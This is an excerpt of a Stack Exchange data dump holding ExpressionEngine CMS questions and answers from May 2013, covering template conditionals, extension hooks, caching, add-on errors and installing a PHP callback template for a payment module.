  <row Id="10404" PostTypeId="2" ParentId="10402" CreationDate="2013-05-15T14:16:23.977" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There is no direct negation for &lt;code&gt;{current_page}&lt;/code&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html#9429&quot; rel=&quot;nofollow&quot;&gt;[source]&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use a conditional instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_page}&#xA;  &amp;lt;strong&amp;gt;{pagination_page_number}&amp;lt;/strong&amp;gt;&#xA;{if:else}&#xA;  &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-15T14:16:23.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10405" PostTypeId="2" ParentId="10088" CreationDate="2013-05-15T14:27:01.230" Score="1" Body="&lt;p&gt;One approach to only show comments on posts that have been authored by the logged in user is to use a conditional comparing &lt;code&gt;logged_in_member_id&lt;/code&gt; to &lt;code&gt;author_id&lt;/code&gt;. Do this inside your channel entries tag pair and embed the comment entries if the condition is met. Simplified example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {if logged_in_member_id == author_id}&#xA;        &amp;lt;p&amp;gt;You wrote this post, so can see these comments:&amp;lt;/p&amp;gt;&#xA;        {embed=&quot;embeds/_comments&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-05-15T14:34:02.800" LastActivityDate="2013-05-15T14:34:02.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10406" PostTypeId="1" AcceptedAnswerId="10409" CreationDate="2013-05-15T14:29:03.700" Score="0" ViewCount="36" Body="&lt;p&gt;I have a client that wants to add video subscriptions to their offering. They want people to be able to download as well as view on-site. I browsed around for something I thought might work that was already in use, but didn't see anything out there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I have missed or is this something that will need to be built from scratch? I just didn't want to re-invent the wheel.  ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will be able to purchase individual videos as well as packages or bricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-05-15T14:44:01.740" Title="Store that sells video packages with access" Tags="|ecommerce|video|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10407" PostTypeId="1" AcceptedAnswerId="10568" CreationDate="2013-05-15T14:33:47.783" Score="2" ViewCount="245" Body="&lt;p&gt;So this is strange. Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;[channel_name]&quot;}&#xA;&#xA;    {rich_text_field}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the first entry, the text in the field will return wrapped with p tags. For the rest of the entries, all p tags are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I switch the field to a normal textarea instead, p-tags will be returned as excpected, for all entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can find no errors anywhere in any logs, and template debugging returns nothing unusual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text renders correctly with p tags within the 'view code' part of RTE inside the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and this is the newest, 2.6.1 version of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers where I can start looking for errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT (more info):&#xA;So the problem seems to be that the string ($this-&gt;text_format), during parsing, isn't marked as 'xhtml', but rather as 'none', and therefore isn't passed through to the auto_typography() method (I think it's somewhere in EE_typography.php, but I can't remember exactly). Again, this is &lt;em&gt;only&lt;/em&gt; for the subsequent entries, and not the first.&lt;/p&gt;&#xA;" OwnerUserId="1004" LastEditorUserId="1004" LastEditDate="2013-05-15T18:21:14.783" LastActivityDate="2013-05-21T07:12:11.070" Title="p-tags from RTE field getting stripped - but only after the first entry" Tags="|templates|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10408" PostTypeId="1" CreationDate="2013-05-15T14:38:18.677" Score="0" ViewCount="79" Body="&lt;p&gt;I just updated all of my add-ons. I came up with an error during the update relating to Blueprints. Now, when I try to visit the Extensions page in the CP, I get this error. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot redeclare class RJS_Hooks in /home/user/subdomains/dev/system/expressionengine/third_party/requirejs/core/RJS_Hooks.php on line 109&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-15T14:38:18.677" Title="RequireJS Cannot Redeclare Class Error" Tags="|error|requirejs|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10409" PostTypeId="2" ParentId="10406" CreationDate="2013-05-15T14:44:01.740" Score="0" Body="&lt;p&gt;You could totally do this with &lt;a href=&quot;http://cartthrob.com/site/product_detail/subscriptions&quot; rel=&quot;nofollow&quot;&gt;CartThrob Pro w/Subscriptions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-15T14:44:01.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10410" PostTypeId="2" ParentId="10378" CreationDate="2013-05-15T14:49:43.533" Score="0" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://devot-ee.com/add-ons/will-hunting&quot; rel=&quot;nofollow&quot;&gt;Will Hunting&lt;/a&gt; plugin to do simple math to increment/decrement the next/prev links based off &lt;code&gt;{segment_4}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:will_hunting:solve exp=&quot;{segment_4} - 1&quot;}&quot;&amp;gt;prev page&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;{exp:will_hunting:solve exp=&quot;{segment_4} + 1&quot;}&quot;&amp;gt;next page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-15T14:49:43.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10411" PostTypeId="1" AcceptedAnswerId="10416" CreationDate="2013-05-15T15:12:53.347" Score="3" ViewCount="141" Body="&lt;p&gt;I am working on an extension that takes some entry data (from the control panel) and performs some tasks with it, just prior to insert/update. I am currently using the &quot;entry_submission_end&quot; hook to accomplish this. However, I would like to abort the entry submission/update process if my extension tasks are not completed successfully. It doesn't look like the &quot;entry_submission_end&quot; hook provides the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ee()-&amp;gt;extensions-&amp;gt;end_script === TRUE) return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code to do this. What hook can I use to accomplish this? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Garrett&lt;/p&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2013-06-14T17:38:31.753" Title="Abort the channel entry publish process?" Tags="|channel-entries|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10412" PostTypeId="1" AcceptedAnswerId="10417" CreationDate="2013-05-15T15:47:26.663" Score="3" ViewCount="317" Body="&lt;p&gt;Why are my if conditions not working when they are inside a javascript but they work in plain html?&#xA; the {if longitude} outputs {if&quot;&quot;} when viewed in the browser.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users sort=&quot;asc&quot; limit=&quot;100&quot; group_id=&quot;5&quot;}&#xA;{if longitude}&#xA;         {&#xA;            &quot;properties&quot;: {                         &#xA;                &quot;tags&quot;: [],&#xA;                &quot;phone&quot;: &quot;&quot;,&#xA;                &quot;classifiers&quot;: ['a'],&#xA;                &quot;address&quot;: &quot;&quot;,&#xA;                &quot;name&quot;: &quot;{billing_name}&quot;,&#xA;                &quot;province&quot;: &quot;{billing_region}&quot;,&#xA;                &quot;owner&quot;: &quot;&quot;,&#xA;                &quot;postcode&quot;: &quot;&quot;,&#xA;                &quot;city&quot;: &quot;{billing_city}&quot;,&#xA;                &quot;country&quot;: &quot;{billing_country}&quot;&#xA;            },&#xA;            &quot;type&quot;: &quot;Place&quot;,&#xA;            &quot;geometry&quot;: {&#xA;                &quot;type&quot;: &quot;Point&quot;,&#xA;                &quot;coordinates&quot;: [ {longitude},{latitude} ]&#xA;            }&#xA;        },&#xA;{/if}&#xA;{/exp:user:users} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-16T13:43:02.400" Title="if conditions not working in JS" Tags="|conditionals|javascript|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10414" PostTypeId="2" ParentId="10337" CreationDate="2013-05-15T16:04:38.220" Score="0" Body="&lt;p&gt;I have spend some extra time with this issue and have found a very handily solution: using PHP templates stored in DB to get current EE instance and create callback processing script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I needed this script for BrilliantRetail payment gateway module ( based upon Brilliant_retail_gateway ) main idea is to create PHP-template on module install and remove it on module deleting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to use custom template group to avoid template groups mess-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll describe all necessary action for this solution below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all: manually create a template group and template itself for testing ( in Design &gt; Template Management )  with such parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type — Web Page&lt;/li&gt;&#xA;&lt;li&gt;Enable Caching — No&lt;/li&gt;&#xA;&lt;li&gt;Allow PHP — Yes&lt;/li&gt;&#xA;&lt;li&gt;PHP Parsing Stage — Output&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For this example I will use &lt;code&gt;tpl_group_name&lt;/code&gt; for the group name, and &lt;code&gt;tpl_name&lt;/code&gt; for the template name&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on file synchronization and save template to the file. For now, you can create write pure PHP code to the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMPORTANT:&lt;/strong&gt; Your template file must have PHP close tag ( ?&gt; ), to avoid template parsing error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can execute your template-script by opening URL like: &lt;a href=&quot;http://example.com/tpl_group_name/tpl_name&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tpl_group_name/tpl_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template will be stored in &lt;code&gt;system/templates/default_site/tpl_group_name.group/tpl_name.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Directory &lt;code&gt;default_site&lt;/code&gt; is depend on your system configuration and can be different&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can work with EE instance in your template via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After script codding was finished template-script must be packed and placed into the BR Payment module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to compress file content with gzip then after apply base64 encoding to get plaint text, which allows me to insert compressed content to the file as a string variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can manipulate your template using &lt;code&gt;template_model&lt;/code&gt; class. Code below demonstrate how to add PHP-template and group to the DB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Adding group&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('template_model');&#xA;$grp_data = array(&#xA;    'group_name'        =&amp;gt; 'tpl_group_name',&#xA;    'is_site_default'   =&amp;gt; 'n', // do not replace default group&#xA;    'site_id'           =&amp;gt; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id')&#xA;);&#xA;&#xA;// Create group&#xA;$group_id = $this-&amp;gt;EE-&amp;gt;template_model-&amp;gt;create_group( $grp_data );&#xA;&#xA;&#xA;&#xA;// Adding callback template&#xA;$tpl_data = array(&#xA;    'group_id'              =&amp;gt; $group_id,&#xA;    'template_name'         =&amp;gt; 'tpl_name',&#xA;    'template_type'         =&amp;gt; 'webpage',&#xA;    'template_data'         =&amp;gt; $template_content,&#xA;    'edit_date'             =&amp;gt; $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now,&#xA;    'save_template_file'    =&amp;gt; 'n', // DO not save template to the file for product site&#xA;    'allow_php'             =&amp;gt; 'y', // allow PHP code&#xA;    'last_author_id'        =&amp;gt; '1', // assume a super admin&#xA;    'site_id'               =&amp;gt; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id') // use current site_id&#xA;);&#xA;&#xA;// Create group&#xA;$this-&amp;gt;EE-&amp;gt;template_model-&amp;gt;create_template($tpl_data);&#xA;&#xA;// Clear db cache&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;clear_caching('db');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there are no methods to remove template groups from the DB, so I used DB request to remove group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code to remove templates from DB&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Find and remove template&#xA;$template_id = null;&#xA;$template_find = $this-&amp;gt;EE-&amp;gt;template_model-&amp;gt;get_templates( null, null, array( 'template_name' =&amp;gt; 'tpl_name' ) );&#xA;&#xA;if( $template_find-&amp;gt;num_rows ) {&#xA;    $template_tmp = $template_find-&amp;gt;_fetch_assoc();&#xA;    $template_id = (int) $template_tmp['template_id'];&#xA;}&#xA;&#xA;// Remove template if ID was found&#xA;if( $template_id ) {&#xA;&#xA;    // Try to remove file as well&#xA;    if( !$this-&amp;gt;EE-&amp;gt;template_model-&amp;gt;delete_template( $template_id, true ) ) {&#xA;        // If fiel removing has failed -- remove only DB content&#xA;        $this-&amp;gt;EE-&amp;gt;template_model-&amp;gt;delete_template( $template_id );&#xA;    }&#xA;}&#xA;&#xA;&#xA;// Clear IPN callback template group&#xA;$group_id = null;&#xA;$groups = $this-&amp;gt;EE-&amp;gt;template_model-&amp;gt;get_template_groups();&#xA;&#xA;if( $groups-&amp;gt;num_rows &amp;gt; 0 ) {&#xA;    while( $group_tmp = $groups-&amp;gt;_fetch_assoc() ) {&#xA;        if( $group_tmp['group_name'] == 'tpl_group_name'  ) {&#xA;            $group_id = (int) $group_tmp['group_id'];&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;// Remove group record if ID was found&#xA;if( $group_id ) {&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;delete( 'template_groups', array( 'group_id' =&amp;gt; $group_id ) );&#xA;}&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;clear_caching('db');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have any advices — I'm glad to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="818" LastActivityDate="2013-05-15T16:04:38.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10416" PostTypeId="2" ParentId="10411" CreationDate="2013-05-15T16:50:42.877" Score="1" Body="&lt;p&gt;Actually, that hook does check for &lt;code&gt;end_script&lt;/code&gt; - it just happens inside the &lt;code&gt;trigger_hook()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to bail out of an insert/update when your custom tasks are not completed, then you need to use something earlier than &lt;code&gt;entry_submission_end&lt;/code&gt; (it's too late at that point, the entry has already been submitted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest either &lt;code&gt;entry_submission_start&lt;/code&gt; or &lt;code&gt;entry_submission_ready&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And be sure to redirect the user after you set &lt;code&gt;ee()-&amp;gt;extensions-&amp;gt;end_script&lt;/code&gt; to &lt;code&gt;TRUE&lt;/code&gt;, lest they end up at the WSOD!&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-15T16:50:42.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10417" PostTypeId="2" ParentId="10412" CreationDate="2013-05-15T17:31:25.850" Score="6" Body="&lt;p&gt;By default EE prevents the advanced conditional parser from processing anything between &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags. Try adding this config variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['protect_javascript'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-15T17:31:25.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10418" PostTypeId="2" ParentId="10397" CreationDate="2013-05-15T17:34:49.073" Score="0" Body="&lt;p&gt;I think this is more of an issue of how you are displaying your data with html. This data should be in a single container. In the container each image (or image container) should be given a left and right class. then when you are pulling the entries it should be something like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;two-column-container&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;example&quot;}&#xA;    &amp;lt;div class=&quot;data {switch 'left|right'}&quot;&amp;gt;&#xA;      {title},{img},{ect...}&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then from there adjust your css.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-05-15T17:34:49.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10419" PostTypeId="2" ParentId="10412" CreationDate="2013-05-15T17:43:36.117" Score="0" Body="&lt;p&gt;I think the case might be that the conditionals are being rendered by the js and not by EE. It wouldn't surprise me.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2013-05-15T17:43:36.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10420" PostTypeId="2" ParentId="10396" CreationDate="2013-05-15T17:53:11.230" Score="1" Body="&lt;p&gt;Just to add a precision, exporting can be done from &lt;a href=&quot;http://zenbustudio.com/software/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt;, but through a Zenbu add-on called &lt;a href=&quot;http://zenbustudio.com/software/hokoku&quot; rel=&quot;nofollow&quot;&gt;Hokoku&lt;/a&gt;, which exports the displayed data in HTML, JSON and CSV (Excel-readable) for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Exp:resso Store isn't displaying as you want in Zenbu (and in consequence in the exported file), it could be that Exp:resso doesn't have Zenbu cell display compatibility yet. The fallback is to display the contents of the data stored in exp_channel_data instead. Better display/compatibility can be added by the third-party developer by adding a few functions in their ft.my_field.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zenbu third-party add-on developer documentation to add this functionality can be found &lt;a href=&quot;http://zenbustudio.com/software/dev/zenbu&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-05-15T17:53:11.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10421" PostTypeId="1" AcceptedAnswerId="10434" CreationDate="2013-05-15T19:25:36.927" Score="0" ViewCount="218" Body="&lt;p&gt;I am using the following query to check if an entry in the channel images table has any categories marked 'private'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_channel_images WHERE entry_id = '{entry_id}'&#xA; AND category = 'private' &quot;}&#xA; {if no_results} 0 images {/if}&#xA;{/exp:query} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The {if no_results} output does not work. Can anyone suggest another way I can do this?&#xA;Thanks &lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-05-16T05:14:07.867" Title="Help with a query in channel images" Tags="|query|channel-images|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10422" PostTypeId="2" ParentId="10386" CreationDate="2013-05-15T19:37:53.533" Score="1" Body="&lt;p&gt;Get the EE 2.6.1 update, it appears EllisLab updated that fieldtype's structure from 2.6 to 2.61.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-05-15T19:37:53.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10424" PostTypeId="1" CreationDate="2013-05-15T20:58:31.673" Score="0" ViewCount="397" Body="&lt;p&gt;weird problem. I have a website with freeform that suddenly broke. When you submit a form a basic ExpressionEngine error message is shown but without an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xwdn8.png&quot; alt=&quot;ExpressionEngine error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After discovering the problem i upgraded the system from ee2.3.1/freeform3.1.5 to ee2.6.0/freeform4.0.12 but the exact same problem keeps happening. I've already stipped down a test form to the bare minimal but that doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form_name=&amp;quot;adwords&amp;quot;&#xA;    return=&amp;quot;homepage/verzonden&amp;quot;&#xA;}&#xA;    &amp;lt;label&amp;gt;E-mail&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;/&amp;gt;&#xA;    &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Verzenden&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:freeform:form}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody got a clue where to look next?&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-05-17T08:01:17.083" Title="Freeform: submit results in system error message without a message" Tags="|error|solspace-freeform|system-messages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10425" PostTypeId="2" ParentId="10391" CreationDate="2013-05-15T22:27:11.613" Score="1" Body="&lt;p&gt;Yep, this was happening to me too. I commented out the entire function since I needed to get it up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I commented out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function third_party_search_index($data)&#xA;{&#xA;    // Did the entry just save?&#xA;    if (isset($this-&amp;gt;cache['keywords'][$this-&amp;gt;settings['field_id']]))&#xA;    {&#xA;        return $this-&amp;gt;cache['keywords'][$this-&amp;gt;settings['field_id']];&#xA;    }&#xA;    else&#xA;    {&#xA;        return $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to have worked (nothing is broken as far as I can tell).&lt;/p&gt;&#xA;" OwnerUserId="1503" LastActivityDate="2013-05-15T22:27:11.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10426" PostTypeId="1" AcceptedAnswerId="10511" CreationDate="2013-05-15T22:27:52.803" Score="1" ViewCount="110" Body="&lt;p&gt;Please help.  I want to install a wordpress blog under the URL blog.mydomain.com but this seems to be getting in the way.&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2013-06-01T21:30:02.407" Title="How do I stop Expression engine from redirecting blog.mydomain.com to mydomain.com/blog?" Tags="|redirects|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10427" PostTypeId="2" ParentId="10421" CreationDate="2013-05-15T23:12:47.397" Score="0" Body="&lt;p&gt;I don't have an EE database in front of me, but I could've sworn it was category_id in that table, not category. If your query is invalid, it would prevent no_results from working as well.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-05-15T23:12:47.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10429" PostTypeId="1" AcceptedAnswerId="10477" CreationDate="2013-05-16T01:37:09.743" Score="0" ViewCount="551" Body="&lt;p&gt;A user reported that when trying to add a photo in the control panel publish page it did not work. Clicking the &quot;add file&quot; button does nothing. I was able to verify that it did not work. I went to the Assets module settings and the file folders would not load any images. The waiting icon would just spin and spin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I tried it again, and it did work. However she reported it still did not work for her. I again verified it worked. Now that I'm on a different computer (both of my are macs using safari and 10.8) it isn't working for me again. Opening the inspector I see this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/frGAU.png&quot; alt=&quot;error shown in inspector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to work no problems, so this is new. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&#xA;Assets 1.1.5&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-05-16T03:19:43.747" LastActivityDate="2013-05-17T06:49:56.423" Title="Assets add file button not working (sometimes)" Tags="|assets|pixelandtonic|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10430" PostTypeId="1" AcceptedAnswerId="10445" CreationDate="2013-05-16T04:10:12.340" Score="0" ViewCount="173" Body="&lt;p&gt;I am running into an odd error with a new EE site I am coding. I tried to turn on the template caching. When I load the page on the front-end website it works the first time but becomes blank on reload. e.g. First Load (&lt;a href=&quot;http://cl.ly/image/1l27232q1V04&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/1l27232q1V04&lt;/a&gt;) vs Second Load (&lt;a href=&quot;http://cl.ly/image/0e452626213g&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/0e452626213g&lt;/a&gt;). Here is the homepage (&lt;a href=&quot;http://cl.ly/code/2g1p3f0i3z04&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/code/2g1p3f0i3z04&lt;/a&gt;) and wrapper (&lt;a href=&quot;http://cl.ly/code/0V2f2C1f0W3J&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/code/0V2f2C1f0W3J&lt;/a&gt;) template code. Any ideas why I am getting a blank load when trying to use template caching?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE Core 2.6.0. The main plugins I am using are stash, switchee, ifelse, structure, wygwam, matrix, playa, calendar, freebie, imageSizer &amp;amp; assetLinker.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2013-05-16T12:13:39.947" Title="Template Caching - Blank Page" Tags="|templates|cache|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10431" PostTypeId="1" CreationDate="2013-05-16T04:38:28.233" Score="1" ViewCount="63" Body="&lt;p&gt;I did the Expression Engine upgrade to 2.61 and now when I add a PAGE it won't let me set the status it just is blank so I can not set it to open. if I add or update it sets to blank...&#xA;what can I do?&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2013-06-15T13:38:32.173" Title="I did the Expression Engine upgrade to 2.61 and now when I add a PAGE it won't let me set the status" Tags="|ee2|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10432" PostTypeId="1" AcceptedAnswerId="10433" CreationDate="2013-05-16T04:49:08.970" Score="0" ViewCount="481" Body="&lt;p&gt;I can echo the current &lt;code&gt;entry_id&lt;/code&gt; but when I try to pass that variable to a mySQL statement, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot; entry_id=&quot;20&quot;}&#xA;  &amp;lt;?php&#xA;  $entry_id = '{entry_id}';&#xA;  echo $entry_id; // returns 20&#xA;&#xA;  $sql_query = &quot;SELECT col1 FROM table WHERE entry_id = $entry_id&quot;; // doesn't work&#xA;  $sql_query = &quot;SELECT col1 FROM table WHERE entry_id = 20&quot;; // this works&#xA;&#xA;  // rest of code&#xA;  ?&amp;gt; &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-05-16T16:01:12.300" Title="How do I pass a variable to mySQL without using the query module?" Tags="|templates|php|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
